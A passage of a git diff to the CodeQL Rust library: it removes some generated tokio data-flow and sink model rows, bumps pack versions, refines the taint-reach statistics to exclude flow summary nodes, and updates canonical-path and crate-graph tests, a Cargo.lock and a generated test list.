"ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::permits]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] @@ -559,8 +536,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[1]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::future].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[self]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::local]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sync_scope", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_with", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_waker", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::time::instant::Instant::std]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::time::error::Error(0)]", "value", "dfc-generated"] @@ -596,7 +571,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::filter]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self].Field[crate::util::linked_list::LinkedList::head]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::curr]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::list]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::last", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_front", "Argument[self].Field[crate::util::linked_list::LinkedList::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] @@ -640,16 +614,13 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::finish_string_read", "Argument[1].Field[crate::result::Result::Ok(0)]", "Argument[3].Reference", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[0]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line", "Argument[1]", "ReturnValue.Field[crate::io::util::read_line::ReadLine::output]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_line::read_line_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_end::ReadToEnd::buf].Field[crate::io::util::vec_with_initialized::VecWithInitialized::vec]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_end::read_to_end_internal", "Argument[2].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[0]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_to_string::read_to_string", "Argument[1]", "ReturnValue.Field[crate::io::util::read_to_string::ReadToString::output]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[0]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::reader]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[1]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::delimiter]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until", "Argument[2]", "ReturnValue.Field[crate::io::util::read_until::ReadUntil::buf]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read_until::read_until_internal", "Argument[4].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::repeat::repeat", "Argument[0]", "ReturnValue.Field[crate::io::util::repeat::Repeat::byte]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::shutdown::shutdown", "Argument[0]", "ReturnValue.Field[crate::io::util::shutdown::Shutdown::a]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::split::split", "Argument[0]", "ReturnValue.Field[crate::io::util::split::Split::reader]", "value", "dfc-generated"] @@ -673,13 +644,9 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split::split", "Argument[0]", "ReturnValue.Field[1].Field[crate::net::unix::split::WriteHalf(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(0)]", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::net::unix::split_owned::reunite", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::net::unix::split_owned::ReuniteError(1)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::budget", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::current::with_current", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime::enter_runtime", "Argument[2].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::runtime_mt::exit_runtime", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::context::with_scheduler", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::metrics::batch::duration_as_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::block_in_place::block_in_place", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::runtime::scheduler::multi_thread::worker::block_in_place", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -698,7 +665,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::bit::unpack", "Argument[2]", "ReturnValue", "taint", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::memchr::memchr", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::blocking_task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::trace::task", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::util::typeid::try_transmute", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -715,19 +681,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::put_slice", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll_read", "Argument[1]", "log-injection", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unsync_load", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::shutdown", "Argument[0]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_n", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push", "Argument[self]", "pointer-access", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::push_batch", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::transition_to_terminal", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::poll", "Argument[self]", "log-injection", "df-generated"] @@ -738,7 +691,6 @@ extensions: - ["repo:https://github.com/tokio-rs/tokio:tokio", "::release", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] - - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drop", "Argument[self]", "log-injection", "df-generated"] - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_permits", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index ce213d8ebba..e20992cbb0b 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.9-dev +version: 0.1.11-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql new file mode 100644 index 00000000000..0c4f58b40b6 --- /dev/null +++ b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql @@ -0,0 +1,9 @@ +/** + * @kind test-postprocess + */ + +private import rust +private import codeql.util.test.ExternalLocationPostProcessing +import Make + +private string getSourceLocationPrefix() { sourceLocationPrefix(result) } diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index a7c23fbfd30..1459910b5ee 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.1.10 + +No user-facing changes. + +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.10.md b/rust/ql/src/change-notes/released/0.1.10.md new file mode 100644 index 00000000000..47358eeee93 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.9.md b/rust/ql/src/change-notes/released/0.1.9.md new file mode 100644 index 00000000000..e93006d794f --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 3136ea4a1cc..30f5ca88be0 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 3ce216f0a2d..9f1b7148e38 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.9-dev +version: 0.1.11-dev groups: - rust - queries diff --git a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql index 23db30f53e9..6f5feb3ea54 100644 --- a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql +++ b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql @@ -10,7 +10,7 @@ import codeql.files.FileSystem -select count(File f | +select count(ExtractedFile f | exists(f.getRelativePath()) and not f instanceof SuccessfullyExtractedFile ) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index db0a05629df..3156f1ffb26 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -35,7 +35,7 @@ int getLinesOfCode() { result = sum(File f | f.fromSource() | f.getNumberOfLines * Gets a count of the total number of lines of code from the source code directory in the database. */ int getLinesOfUserCode() { - result = sum(File f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) + result = sum(ExtractedFile f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) } /** @@ -189,6 +189,8 @@ predicate taintStats(string key, int value) { or key = "Taint reach - nodes tainted" and value = getTaintedNodesCount() or + key = "Taint reach - total non-summary nodes" and value = getTotalNodesCount() + or key = "Taint reach - per million nodes" and value = getTaintReach().floor() or key = "Taint sinks - query sinks" and value = getQuerySinksCount() diff --git a/rust/ql/src/queries/summary/TaintReach.qll b/rust/ql/src/queries/summary/TaintReach.qll index 0f00fe6f7c6..650bbe727c3 100644 --- a/rust/ql/src/queries/summary/TaintReach.qll +++ b/rust/ql/src/queries/summary/TaintReach.qll @@ -7,6 +7,7 @@ import rust private import codeql.rust.Concepts private import codeql.rust.dataflow.DataFlow private import codeql.rust.dataflow.TaintTracking +private import codeql.rust.dataflow.internal.Node /** * A taint configuration for taint reach (flow to any node from any modeled source). @@ -21,11 +22,27 @@ private module TaintReachFlow = TaintTracking::Global; /** * Gets the total number of data flow nodes that taint reaches (from any source). + * + * We don't include flow summary nodes, as their number is unstable (varies when models + * are added). */ -int getTaintedNodesCount() { result = count(DataFlow::Node n | TaintReachFlow::flowTo(n)) } +int getTaintedNodesCount() { + result = count(DataFlow::Node n | TaintReachFlow::flowTo(n) and not n instanceof FlowSummaryNode) +} + +/** + * Gets the total number of data flow nodes. + * + * We don't include flow summary nodes, as their number is unstable (varies when models + * are added). + */ +int getTotalNodesCount() { result = count(DataFlow::Node n | not n instanceof FlowSummaryNode) } /** * Gets the proportion of data flow nodes that taint reaches (from any source), * expressed as a count per million nodes. + * + * We don't include flow summary nodes, as their number is unstable (varies when models + * are added). */ -float getTaintReach() { result = (getTaintedNodesCount() * 1000000.0) / count(DataFlow::Node n) } +float getTaintReach() { result = (getTaintedNodesCount() * 1000000.0) / getTotalNodesCount() } diff --git a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 58f90cc33a0..d30157b5090 100644 --- a/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/rust/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -79,7 +79,7 @@ module ModelGeneratorCommonInput implements bindingset[c] string paramReturnNodeAsExactOutput(Callable c, DataFlowImpl::ParameterPosition pos) { - result = parameterExactAccess(c.getParamList().getParam(pos.getPosition())) + result = parameterExactAccess(c.getParam(pos.getPosition())) or pos.isSelf() and result = qualifierString() } diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected index 69ea1bb7b0e..0376d52b26e 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected @@ -1,6 +1,7 @@ canonicalPath | anonymous.rs:3:1:32:1 | fn canonicals | test::anonymous::canonicals | | anonymous.rs:34:1:36:1 | fn other | test::anonymous::other | +| {EXTERNAL LOCATION} | fn trim | ::trim | | lib.rs:1:1:1:14 | mod anonymous | test::anonymous | | lib.rs:2:1:2:12 | mod regular | test::regular | | regular.rs:1:1:2:18 | struct Struct | test::regular::Struct | diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql index 16aa82eee21..51fc3d4c243 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql @@ -1,8 +1,20 @@ import rust import TestUtils +private import codeql.rust.internal.PathResolution +private import codeql.rust.frameworks.stdlib.Builtins query predicate canonicalPath(Addressable a, string path) { - toBeTested(a) and + ( + toBeTested(a) + or + // test that we also generate canonical paths for builtins + a = + any(ImplItemNode i | + i.resolveSelfTy() instanceof Str and + not i.(Impl).hasTrait() + ).getAnAssocItem() and + a.(Function).getName().getText() = "trim" + ) and path = a.getCanonicalPath(_) } diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.qlref b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.qlref new file mode 100644 index 00000000000..c65650adf9a --- /dev/null +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.qlref @@ -0,0 +1,2 @@ +query: canonical_paths.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected index 2605a806f6f..21564515385 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected @@ -1,6 +1,7 @@ canonicalPath | anonymous.rs:6:1:35:1 | fn canonicals | test::anonymous::canonicals | | anonymous.rs:37:1:39:1 | fn other | test::anonymous::other | +| {EXTERNAL LOCATION} | fn trim | ::trim | | lib.rs:1:1:1:14 | mod anonymous | test::anonymous | | lib.rs:2:1:2:12 | mod regular | test::regular | | regular.rs:4:1:5:18 | struct Struct | test::regular::Struct | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref index f40a74f5aed..9a5712b5135 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.qlref @@ -1 +1,2 @@ -extractor-tests/canonical_path/canonical_paths.ql +query: extractor-tests/canonical_path/canonical_paths.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/extractor-tests/crate_graph/.gitignore b/rust/ql/test/extractor-tests/crate_graph/.gitignore new file mode 100644 index 00000000000..1a5314bd427 --- /dev/null +++ b/rust/ql/test/extractor-tests/crate_graph/.gitignore @@ -0,0 +1 @@ +!/Cargo.lock diff --git a/rust/ql/test/extractor-tests/crate_graph/Cargo.lock b/rust/ql/test/extractor-tests/crate_graph/Cargo.lock new file mode 100644 index 00000000000..efdbaf4f23f --- /dev/null +++ b/rust/ql/test/extractor-tests/crate_graph/Cargo.lock @@ -0,0 +1,84 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "cfg-if" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "md-5" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +dependencies = [ + "cfg-if", + "digest", +] + +[[package]] +name = "md5" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" + +[[package]] +name = "test" +version = "0.0.1" +dependencies = [ + "md-5", + "md5", +] + +[[package]] +name = "typenum" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" diff --git a/rust/ql/test/extractor-tests/crate_graph/crates.expected b/rust/ql/test/extractor-tests/crate_graph/crates.expected index acc8aa3dec8..f934618db9c 100644 --- a/rust/ql/test/extractor-tests/crate_graph/crates.expected +++ b/rust/ql/test/extractor-tests/crate_graph/crates.expected @@ -18,7 +18,7 @@ #-----| core -> Crate(core@0.0.0) #-----| compiler_builtins -> Crate(compiler_builtins@0.1.140) -#-----| Crate(cfg_if@1.0.0) +#-----| Crate(cfg_if@1.0.1) #-----| proc_macro -> Crate(proc_macro@0.0.0) #-----| alloc -> Crate(alloc@0.0.0) #-----| core -> Crate(core@0.0.0) @@ -89,7 +89,7 @@ main.rs: #-----| core -> Crate(core@0.0.0) #-----| std -> Crate(std@0.0.0) #-----| test -> Crate(test@0.0.0) -#-----| cfg_if -> Crate(cfg_if@1.0.0) +#-----| cfg_if -> Crate(cfg_if@1.0.1) #-----| digest -> Crate(digest@0.10.7) #-----| Crate(md5@0.7.0) diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 41076ea57ae..a4fab823b03 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -1,11 +1,22 @@ -Abi/gen_abi.rs 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c -ArgList/gen_arg_list.rs 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 +Abi/gen_abi.rs 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 +ArgList/gen_arg_list.rs 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 ArrayListExpr/gen_array_list_expr.rs 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 ArrayRepeatExpr/gen_array_repeat_expr.rs 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e -ArrayTypeRepr/gen_array_type_repr.rs 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae -AsmExpr/gen_asm_expr.rs 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 -AssocTypeArg/gen_assoc_type_arg.rs 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 -Attr/gen_attr.rs cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec +ArrayTypeRepr/gen_array_type_repr.rs 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e +AsmClobberAbi/gen_asm_clobber_abi.rs eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 +AsmConst/gen_asm_const.rs 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 +AsmDirSpec/gen_asm_dir_spec.rs d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 +AsmExpr/gen_asm_expr.rs f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a +AsmLabel/gen_asm_label.rs 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 +AsmOperandExpr/gen_asm_operand_expr.rs 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa 